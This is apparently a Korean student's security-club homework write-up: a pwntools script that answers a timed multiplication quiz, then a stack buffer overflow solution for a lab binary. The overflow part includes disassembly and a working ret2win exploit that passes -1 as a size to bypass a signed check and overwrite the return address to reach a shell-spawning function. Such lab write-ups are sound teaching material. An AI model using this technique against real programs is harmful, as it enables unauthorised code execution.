1. mic_check 폴더 안에 있는 mic 바이너리를 실행하여 pwntools Master!!! 출력하기
먼저 코드를 확인해보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <unistd.h>
#include <time.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
init();
int num1, num2, userInput, i;
fd_set readfds;
struct timeval tv;
srand(time(NULL));
for (i = 0; i < 20; i++) {
num1 = rand() % 10;
num2 = rand() % 10;
printf("%d: %d * %d : ", i + 1, num1, num2);
// select()를 이용하여 0.2초 동안 입력을 기다림
FD_ZERO(&readfds);
FD_SET(STDIN_FILENO, &readfds);
tv.tv_sec = 0;
tv.tv_usec = 200000; // 0.2초 = 200,000 마이크로초
int ret = select(STDIN_FILENO + 1, &readfds, NULL, NULL, &tv);
if (ret == -1) {
perror("select");
exit(EXIT_FAILURE);
} else if (ret == 0) {
printf("timeout\n");
exit(EXIT_FAILURE);
} else {
if (FD_ISSET(STDIN_FILENO, &readfds)) {
scanf("%d", &userInput);
if (userInput == num1 * num2) {
printf("correct!\n");
} else {
printf("wrong\n");
exit(EXIT_FAILURE);
}
}
}
}
printf("pwntools Master!!!\n");
return 0;
}
|
cs |
간단하게 코드를 분석을 해보자면 20번 동안 랜덤한 숫자 두 개를 곱한 값을 맞춰야 pwntools Master!!!라는 메세지가 출력되는 것을 알 수 있다.
'1: 6 * 5 : '라는 값이 먼저 나오고 timeout이라는 메세지가 나온다. 먼저 이 문자열을 받아서 저장하고 index를 이용하여 내가 원하는 숫자를 추출하고 그 값을 곱하면 쉽게 해결할 수 있을 것 같다. 먼저 문자열을 받고 숫자를 추출하는 과정의 코드를 짜보겠다.
1
2
3
4
5
6
7
|
from pwn import *
p = process("./mic")
mul = str(p.recvuntil(b' : '))
num1 = int(mul[5])
num2 = int(mul[9])
|
cs |
이해하기 쉽게 '1 : 6 * 5 : '을 예시로 설명하겠다. p.recvuntil(b' : ')은 ' : '로 끝나는 문자열 전체를 받는 명령어로 문자열 전체를 mul에 저장을 했다. mul[5]를 넣은 이유는 문자열을 받을 때 b'1: 6 * 5 : '이런 식으로 받아오기 때문에 mul[5]라고 설정하여 6을 num1에 넣었다. num2도 이와 같은 방식으로 저장했다.
이제 num1과 num2를 곱하고 값을 보내면 메세지 출력할 수 있을 것이다.
1
2
|
result = num1 * num2
p.sendline(str(result))
|
cs |
이런 식으로 진행하면 된다. sendline을 쓴 이유는 scanf로 값을 받기 때문에 개행문자가 포함되어 있어야 한다.
오류가 났다. 생각을 해보니 10 이상의 수부터는 문자열이 하나씩 밀리기 때문에 index 값을 재설정해야 한다. 조건문을 설정하여 코드를 다시 짜보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
for i in range(20):
if(i < 9):
mul = str(p.recvuntil(b' : '))
num1 = int(mul[5])
num2 = int(mul[9])
result = num1 * num2
p.sendline(str(result))
print(p.recvline())
else:
mul = str(p.recvuntil(b' : '))
num1 = int(mul[6])
num2 = int(mul[10])
result = num1 * num2
p.sendline(str(result))
print(p.recvline())
|
cs |
다시 실행해보겠다.
메세지 출력에 성공했다.
전체코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from pwn import *
p = process("./mic")
for i in range(20):
if(i < 9):
mul = str(p.recvuntil(b' : ')) # ' : '로 끝나는 문자열 전체를 받음
num1 = int(mul[5]) #num1 숫자를 받아옴
num2 = int(mul[9]) #num2 숫자를 받아옴
result = num1 * num2
p.sendline(str(result))
print(p.recvline())
else:
mul = str(p.recvuntil(b' : '))
num1 = int(mul[6])
num2 = int(mul[10])
result = num1 * num2
p.sendline(str(result))
print(p.recvline())
print(p.recvall()) # 메세지 출력
|
cs |
2. bof_basic 폴더 안에 있는 bof_basic 바이너리를 익스플로잇하여 flag 출력하기
제공된 파일에 소스코드와 flag 값만 존재하여 소스코드를 IDA에 넣어 정적분석을 먼저 해보겠다. 어셈블리어로 보면 해석하기 힘들기 때문에 디컴파일을 하여 보기 쉽게 바꿔보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[28]; // [rsp+0h] [rbp-20h] BYREF
size_t nbytes; // [rsp+1Ch] [rbp-4h] BYREF
init(argc, argv, envp);
LODWORD(nbytes) = 0;
printf("Input Size: ");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 19 )
{
puts("Too Big!!");
exit(-1);
}
printf("Input buf: ");
read(0, buf, (unsigned int)nbytes);
printf("%s", buf);
return 0;
}
|
cs |
취약점을 찾으면 read(0, buf, (unsigned int)nbytes) 이 부분이다. 왜냐하면 buf의 크기보다 큰 값을 nbytes에 넣으면 BOF가 발생할 수 있기 때문이다. if( (int)nbytes > 19)이 조건 때문에 단순한 방법으로는 BOF가 발생하기는 힘들 것 같다. 그래서 다른 부분을 살펴보겠다.
size_t 이 부분이 중요할 것 같다. size_t는 unsigned int로 사용되는데 unsigned int는 양수와 0만 표현이 가능하다. -1을 넣으면 가장 큰 값을 넣은 것처럼 판별이 된다. 즉 -1을 넣으면 BOF가 발생할 수 있다는 것이다. int로 변형하면 -1로 표현이 되지만 read에서는 가장 큰 수로 넣은 것처럼 되기 때문에 BOF가 발생할 수 있다.
IDA를 통해 보니 win이라는 함수가 존재한다. 이 함수를 한 번 살펴보겠다.
1
2
3
4
5
6
7
8
|
int win()
{
char *path[2]; // [rsp+0h] [rbp-10h] BYREF
path[0] = "/bin/sh";
path[1] = 0LL;
return execv("/bin/sh", path);
}
|
cs |
간단하게 설명하면 셸을 얻을 수 있는 함수이다. 익스코드를 설계할 때 이 함수의 주소도 넣어야 flag를 읽을 수 있다.
GDB를 사용하여 스택 프레임을 그려 익스코드를 설계해 보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
0x0000000000401272 <+0>: endbr64
0x0000000000401276 <+4>: push rbp
0x0000000000401277 <+5>: mov rbp,rsp
0x000000000040127a <+8>: sub rsp,0x20
0x000000000040127e <+12>: mov eax,0x0
0x0000000000401283 <+17>: call 0x4011f6 <init>
0x0000000000401288 <+22>: mov DWORD PTR [rbp-0x4],0x0
0x000000000040128f <+29>: lea rax,[rip+0xd76] # 0x40200c
0x0000000000401296 <+36>: mov rdi,rax
0x0000000000401299 <+39>: mov eax,0x0
0x000000000040129e <+44>: call 0x4010b0 <printf@plt>
0x00000000004012a3 <+49>: lea rax,[rbp-0x4]
0x00000000004012a7 <+53>: mov rsi,rax
0x00000000004012aa <+56>: lea rax,[rip+0xd68] # 0x402019
0x00000000004012b1 <+63>: mov rdi,rax
0x00000000004012b4 <+66>: mov eax,0x0
0x00000000004012b9 <+71>: call 0x4010e0 <__isoc99_scanf@plt>
|
cs |
먼저 rsp는 [rbp-0x20] 위치에 존재한다는 것을 알 수 있다. [rbp -0x4]에 0을 채워 넣고 'Input Size: '라는 메세지를 출력한다. scanf부분을 보면 입력받은 값을 [rbp-0x4]부분에 넣는 것으로 보아 [rbp-0x4]는 nbytes라는 것을 알 수 있다.
1
2
3
4
5
6
7
8
9
10
11
|
0x00000000004012c1 <+79>: cmp eax,0x13
0x00000000004012c4 <+82>: jle 0x4012df <main+109>
0x00000000004012c6 <+84>: lea rax,[rip+0xd4f] # 0x40201c
0x00000000004012cd <+91>: mov rdi,rax
0x00000000004012d0 <+94>: call 0x4010a0 <puts@plt>
0x00000000004012d5 <+99>: mov edi,0xffffffff
0x00000000004012da <+104>: call 0x4010f0 <exit@plt>
0x00000000004012df <+109>: lea rax,[rip+0xd40] # 0x402026
0x00000000004012e6 <+116>: mov rdi,rax
0x00000000004012e9 <+119>: mov eax,0x0
0x00000000004012ee <+124>: call 0x4010b0 <printf@plt>
|
cs |
nbytes 같은 0x13(19)과 비교하여 0x13보다 작으면 main+109로 이동하고 클 경우에는 프로그램이 종료된다. main+109에서는 'Input buf: '라는 값을 출력하는 것을 알 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
0x00000000004012f3 <+129>: mov edx,DWORD PTR [rbp-0x4]
0x00000000004012f6 <+132>: lea rax,[rbp-0x20]
0x00000000004012fa <+136>: mov rsi,rax
0x00000000004012fd <+139>: mov edi,0x0
0x0000000000401302 <+144>: mov eax,0x0
0x0000000000401307 <+149>: call 0x4010c0 <read@plt>
0x000000000040130c <+154>: lea rax,[rbp-0x20]
0x0000000000401310 <+158>: mov rsi,rax
0x0000000000401313 <+161>: lea rax,[rip+0xd18] # 0x402032
0x000000000040131a <+168>: mov rdi,rax
0x000000000040131d <+171>: mov eax,0x0
0x0000000000401322 <+176>: call 0x4010b0 <printf@plt>
0x0000000000401327 <+181>: mov eax,0x0
0x000000000040132c <+186>: leave
0x000000000040132d <+187>: ret
|
cs |
이제 read 함수가 작동하는데 nbytes만큼의 길이를 저장하고 [rbp-0x20]에 입력한 값을 저장한다. 그 후로 저장한 값을 출력한다. 스택프레임을 한 번 그려보겠다.
익스코드를 짤 때 0x20 + 0x8만큼의 dummy 값을 넣고 win의 함수 주소를 넣으면 쉽게 해결될 것 같다. 익스코드를 짜보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
p = process("./bof_basic")
e = ELF("./bof_basic")
win = e.symbols['win']
num = b'-1'
p.sendline(num)
payload = b'a' * 0x20 + b'b' * 0x8 + p64(win)
p.send(payload)
p.interactive()
|
cs |
먼저 심볼을 이용하여 win의 함수 주소를 변수에 저장했다. 그 후 nbytes의 값을 입력할 때 -1을 넣었다. 0x20 + 0x8 + win의 함수 주소를 넣은 값을 보내서 셸을 얻을 수 있는 코드를 짰다.
flag가 출력되었다.
여담
본 화자는 처음부터 이런 식으로 푼 것이 아니라 오버플로우를 일으켜서 풀었다. 아마 최댓값을 넣어서 -1 취급을 당해서 익스하는 것에 성공한 것 같다. gdb.attach를 통해 확인해 보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
p = process("./bof_basic")
e = ELF("./bof_basic")
gdb.attach(p)
win = e.symbols['win']
num = b'19'*0x10
p.sendline(num)
payload = b'a' * 0x20 + b'b' * 0x8 + p64(win)
p.send(payload)
p.interactive()
|
cs |
이 부분을 보면 0xffffffff와 0x13을 빼는 것을 알 수 있다. 0xffffffff는 4,294,967,295이 값으로 int를 넘는 값이다. 즉 시스템상으로 int범위를 넘어 unsigned int로 취급받아 자연스럽게 조건을 통과한다. 나머지 설명은 위 설명과 같으므로 생략하겠다.
'보안 공부 > [동아리]' 카테고리의 다른 글
[동아리] Pay1oad_PWNABLE 7주차 과제 (0) | 2024.12.02 |
---|---|
[동아리] Pay1oad_PWNABLE 6주차 과제 (0) | 2024.11.18 |
[동아리] Pay1oad_PWNABLE 5주차 과제 (1) | 2024.11.11 |
[동아리] Pay1oad_PWNABLE 3주차 과제 (0) | 2024.10.28 |
[동아리] Pay1oad_PWNABLE 1주차 과제 (1) | 2024.09.22 |